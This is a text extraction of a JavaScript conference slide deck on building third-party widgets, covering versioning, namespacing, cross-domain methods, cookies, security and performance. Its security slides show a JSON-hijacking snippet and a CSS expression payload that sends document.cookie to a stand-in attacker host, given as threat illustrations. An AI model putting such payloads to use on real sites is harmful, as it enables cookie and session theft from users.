Slide 1

Slide 1 text

JavaScript Widget Development Best Practices Volkan  Özçelik [email protected] 2012-­‐‑07-­‐‑29  @  jstanbul   h?p://jstanbul.org/2012     Thursday, October 3, 13

Slide 2

Slide 2 text

Who am I? • CTO,  cember.net  (%100  acquired  by  Xing  AG;  RIP) • Project  Director,  livego.com  (gone  to  deadpool,  RIP) • CO-­‐‑VP  of  Technology,  grou.ps  (  hJp://grou.ps/  ) • JavaScript  Engineer,  SocialWire  (  hJp://socialwire.com/  ) • J4V45cR1p7  h4x0R,  o2.js,  (  hJp://o2js.com/  ) Thursday, October 3, 13

Slide 3

Slide 3 text

Other Places to Find Me • http://github.com/v0lkan • http://geekli.st/volkan • http://twitter.com/linkibol • http://linkd.in/v0lkan Thursday, October 3, 13

Slide 4

Slide 4 text

Outline • What  is  a  Widget?  /  Types  of  Widgets • Challenges  Involved • Versioning • You  are  not  the  host,  you  are  the  thief. • Shared  Environment • Bumping  the  Cross-­‐‑Domain  Wall • Not  Your  Grandma’s  Cookies • Security • Performance • Questions Thursday, October 3, 13

Slide 5

Slide 5 text

tar -zxvf 30Min.gz hJp://bit.ly/js-­‐‑widget (work  in  progress) Thursday, October 3, 13

Slide 6

Slide 6 text

tar -zxvf 30Min.gz https://github.com/v0lkan/o2.js/ tree/master/examples/widget-demo Thursday, October 3, 13

Slide 7

Slide 7 text

What is a Widget? • A  Distributed  Plugin • Source  Site  (  widget  provider  ) • Consumer  Sites  (  publishers  ) • Can  have  a  GUI  (  weather  forecast  ) • May  not  have  GUI  too  (  analytics,  statistics  ) • Can  be  Stateful • Can  be  Stateless Thursday, October 3, 13

Slide 8

Slide 8 text

Versioning Hassle • Types  of  Versioning: • URL  Versioning • Version  Number  as  an  Init  Parameter • If  it  ain’t  broke,  they  won’t  fix  it. • When’s  the  last  time  you  updated  that  Wordpress  theme? • Nobody  will  change  that  darn  version  number! Thursday, October 3, 13

Slide 9

Slide 9 text

Versioning Hassle • google‘s  ga.js  à2  hour  cache  time; • Facebook‘s  all.js  à 15  minute  cache  time; • twi?er‘s  widgets.js  à 30  minute  cache  time. What  part  of   “Far  Future  Expires  Header”   don’t  you  understand?! Thursday, October 3, 13

Slide 10

Slide 10 text

Versioning Hassle • Far  Future  Expires  Header • Self  Cache-­‐‑Revalidating  Scripts: • A  Bootloader  Script • A  JavaScript  Beacon:   • Returns  204  No  Content  if  versions  match, • Returns  an  auto-­‐‑loader  if  versions  do  not  match. • Iframe  Refresh • window.location.reload(true) Thursday, October 3, 13

Slide 11

Slide 11 text

Widget Initialization Flow Thursday, October 3, 13

Slide 12

Slide 12 text

Act, but don’t be Seen • You  don’t  own  publisher’s  DOM. • Leave  minimal  trace  behind. • Do  not  slow  down  publisher. • Do  not  pollute  global  namespace. Thursday, October 3, 13

Slide 13

Slide 13 text

Act, but don’t be Seen • Do  not  extend  Object.prototype  or  Function.prototype. • Show  love  to  the  Module  Pa?ern. • Do  not  slow  down  publisher: • Async  initialization, • Lazy  Load. • Do  not  slow  down  yourself: • Native  is  faster, • Use  IDs  everywhere. Thursday, October 3, 13

Slide 14

Slide 14 text

Environment is Shared • Prefix  everything. • I  mean…  everything! Thursday, October 3, 13

Slide 15

Slide 15 text

Environment is Shared Thursday, October 3, 13

Slide 16

Slide 16 text

Cross Domain Boundary • Modern  Methods • CORS • HTML5  window.postMessage  API • Hacks • Flash  Proxy • Hash  Fragment  Transport • window.name  Transport • Iframe  inside  an  Iframe  (klein  boJle) • Use  Publisher’s  Server  as  a  Proxy • JSON  with  Padding Thursday, October 3, 13

Slide 17

Slide 17 text

Third Party Cookies • Can  be  disabled  by  default. • Users  may  explicitly  disable  them. • Ad  blocker  browser  plugins  may  disable  them. • You  cannot  rely  on  their  existence. Thursday, October 3, 13

Slide 18

Slide 18 text

Third Party Cookies • Meaning  of  “disabled”  varies  too • Firefox  &  Opera: • Server  cannot  read,  client  cannot  write • We’re  tossed!  (or  are  we?) • IE: • Server  can  read,  client  cannot  write • Webkit  (Chrome  &  Safari): • Server  can  read,   • client  can  “kinda”  write  (iframe  post  hack) Thursday, October 3, 13

Slide 19

Slide 19 text

Third Party Cookies • Check  for  3rd  Party  Cookie  Support  First • Don’t  jump  straight  into  hacks. • External  Windows  as  a  Rescue • A  pop-­‐‑up  is  considered  “first  party” • What  about  Opera  &  Firefox  ? • Store  session  ID  as  a  variable. • Pass  to  the  server  at  each  request. • Do  not  store  on  publisher’s  page! • Use  an  IFRAME  on  API  domain  for  security. Thursday, October 3, 13

Slide 20

Slide 20 text

Widget Security • Bo?om  Line  Up  Front • Sanitize  everything. • First  deny  everything,  then  whitelist  known  good. • Check  referrers,  have  a  list  of  trusted  domains. • Do  not  trust  anyone. function Anyone(){} function Publisher(){} Publisher.prototype = new Anyone(); Thursday, October 3, 13

Slide 21

Slide 21 text

Widget Security • XSS • Sanitize  everything. • Escape  <  >  ;  ,  ‘  “  into  HTML  entities. • CSRF • Use  a  CSRF  token. • Denial  of  Service • Subdomains  per  publisher  (  publisher1.api.example.com  ). • ThroJle  suspicious  requests  per  subdomain. • Best  handled  on  network  /  hardware  layer. • Session  Hijacking • …  is  a  reality. • The  only  reasonable  protection  is  HTTPS. • Use  Multi-­‐‑Level  Authentication. Thursday, October 3, 13

Slide 22

Slide 22 text

Widget Security (lesser known) JSON Hijacking var captured = []; function Array() { for (var i = 0; i < 3; i++) { this[i] setter = function(val) { captured.push(val); }; } } Thursday, October 3, 13

Slide 23

Slide 23 text

Widget Security (lesser known) CSS Expression Hijacking var _wd_borderColor = '#000;x:expression(var i = new Image;\ i.src="http://attacker.example.com/?" + document.cookie);'; Thursday, October 3, 13

Slide 24

Slide 24 text

Widget Security (lesser known) Clickjacking • Invisible  IFRAME  positioned  on  a  UI  element. Remedy: • Framekiller  scripts • X-­‐‑Frame-­‐‑Options  header • Request  confirmation  for  sensitive  actions • Register  all  your  publishers Thursday, October 3, 13

Slide 25

Slide 25 text

Widget Performance • Minimize  Initial  Payload: • Tiny  boot  loader,  then  load  dependencies. • Lazy  load  when  possible. • Combine  and  Minify  Assets. • Use  CSS  Sprites. • Defer  images  (use  a  default  image,  then  load   original). • Minimize  #  of  HTTP  Requests. Thursday, October 3, 13

Slide 26

Slide 26 text

Widget Performance • Minimize  Repaint  and  Reflow. • Rate-­‐‑limit  Server  Requests  (thro?le,  debounce). • Yield  with  setTimeout(fn,  0). • Chunk  large  arrays  of  instructions. • Improve  Perceived  Performance: • Be  an  optimist:  act,  then  verify. Thursday, October 3, 13

Slide 27

Slide 27 text

Widget Performance • Do  not  micro-­‐‑optimize,   • Do  not  optimize  prematurely,   • Optimizing  without  measurement  is  misleading, • It’s  hard  to  measure  a  third  party  widget’s  performance. • A  lot  of  moving  parts  involved. • Tools  like  jsperf.com  will  not  be  of  much  use. • Do  not  use  your  8GB  Ram  +  SSD  MacBook  for  profiling. • Test  on  an  low-­‐‑grade  machine. • Do  not  forget  mobile! Thursday, October 3, 13

Slide 28

Slide 28 text

Thank You! Questions? Thursday, October 3, 13